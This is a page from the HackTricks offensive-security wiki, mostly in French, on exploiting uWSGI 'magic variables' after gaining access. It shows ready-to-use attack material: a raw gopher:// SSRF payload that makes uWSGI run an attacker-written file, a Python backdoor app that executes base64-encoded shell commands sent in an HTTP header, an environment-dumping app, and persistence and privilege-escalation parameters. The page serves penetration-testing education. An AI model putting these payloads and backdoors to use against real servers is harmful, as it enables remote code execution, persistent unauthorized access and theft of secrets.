WSGI Post-Exploitation Tricks

Reading time: 6 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

WSGI Overview

Web Server Gateway Interface (WSGI) est une spĂ©cification qui dĂ©crit comment un serveur web communique avec des applications web, et comment des applications web peuvent ĂȘtre chaĂźnĂ©es pour traiter une requĂȘte. uWSGI est l'un des serveurs WSGI les plus populaires, souvent utilisĂ© pour servir des applications web Python.

uWSGI Magic Variables Exploitation

uWSGI fournit des "magic variables" spĂ©ciales qui peuvent ĂȘtre utilisĂ©es pour configurer dynamiquement le comportement du serveur. Ces variables peuvent ĂȘtre dĂ©finies via des en-tĂȘtes HTTP et peuvent conduire Ă  de graves vulnĂ©rabilitĂ©s de sĂ©curitĂ© lorsqu'elles ne sont pas correctement validĂ©es.

Key Exploitable Variables

UWSGI_FILE - Exécution arbitraire de fichiers

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Cette variable permet de charger et d'exécuter des fichiers Python arbitraires en tant qu'applications WSGI. Si un attaquant peut contrÎler ce paramÚtre, il peut obtenir Remote Code Execution (RCE).

UWSGI_SCRIPT - Chargement de script

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Charge un script spécifié comme une nouvelle application. Combiné avec des fonctionnalités de téléversement ou d'écriture de fichiers, cela peut conduire à RCE.

UWSGI_MODULE et UWSGI_CALLABLE - Chargement dynamique de modules

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Ces paramÚtres permettent de charger des modules Python arbitraires et d'appeler des fonctions spécifiques qui s'y trouvent.

UWSGI_SETENV - Manipulation des variables d'environnement

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Peut ĂȘtre utilisĂ© pour modifier des variables d'environnement, ce qui peut potentiellement affecter le comportement de l'application ou charger une configuration malveillante.

UWSGI_PYHOME - Python Environment Manipulation

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Modifie l'environnement virtuel Python, pouvant charger des paquets malveillants ou différents interpréteurs Python.

UWSGI_CHDIR - Directory Traversal

uwsgi_param UWSGI_CHDIR /etc/;

Change le rĂ©pertoire de travail avant de traiter les requĂȘtes, ce qui peut ĂȘtre utilisĂ© pour des attaques de traversĂ©e de rĂ©pertoires.

SSRF + Gopher vers

Le vecteur d'attaque

Lorsqu'uWSGI est accessible via SSRF (Server-Side Request Forgery), les attaquants peuvent interagir avec le socket interne uWSGI pour exploiter les variables magiques. Cela est particuliĂšrement dangereux lorsque :

  1. L'application présente des vulnérabilités SSRF
  2. uWSGI tourne sur un port/socket interne
  3. L'application ne valide pas correctement les variables magiques

uWSGI est accessible Ă  cause de SSRF parce que le fichier de configuration uwsgi.ini contient : socket = 127.0.0.1:5000, le rendant accessible depuis l'application web via SSRF.

Exemple d'exploitation

Étape 1 : CrĂ©er un payload malveillant

First, inject Python code into a file accessible by the server (file write inside the server, the extension of the file doesn't matter):

python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")

Étape 2 : Composer une requĂȘte du protocole uWSGI

Utilisez le protocole Gopher pour envoyer des paquets uWSGI bruts:

gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Ce payload :

  • Se connecte Ă  uWSGI sur le port 5000
  • DĂ©finit UWSGI_FILE pour pointer vers le fichier malveillant
  • Force uWSGI Ă  charger et exĂ©cuter le code Python

Structure du protocole uWSGI

Le protocole uWSGI utilise un format binaire oĂč :

  • Les variables sont encodĂ©es sous forme de chaĂźnes prĂ©fixĂ©es par leur longueur
  • Chaque variable a : [name_length][name][value_length][value]
  • Le paquet commence par un en-tĂȘte contenant la taille totale

Techniques de post-exploitation

1. Backdoors persistantes

Backdoor basée sur un fichier

python
# backdoor.py
import subprocess
import base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"

start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Ensuite, utilisez UWSGI_FILE pour charger cette backdoor:

uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;

Persistance basée sur l'environnement

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;

2. Divulgation d'informations

Vidage des variables d'environnement

python
# env_dump.py
import os
import json

def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}

start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

AccĂšs au systĂšme de fichiers

Utilisez UWSGI_CHDIR combiné au service de fichiers pour accéder à des fichiers sensibles:

uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;

3. Privilege Escalation

Socket Manipulation

Si uWSGI s'exécute avec des privilÚges élevés, les attaquants pourraient manipuler les permissions du socket :

uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;

Remplacement de configuration

python
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks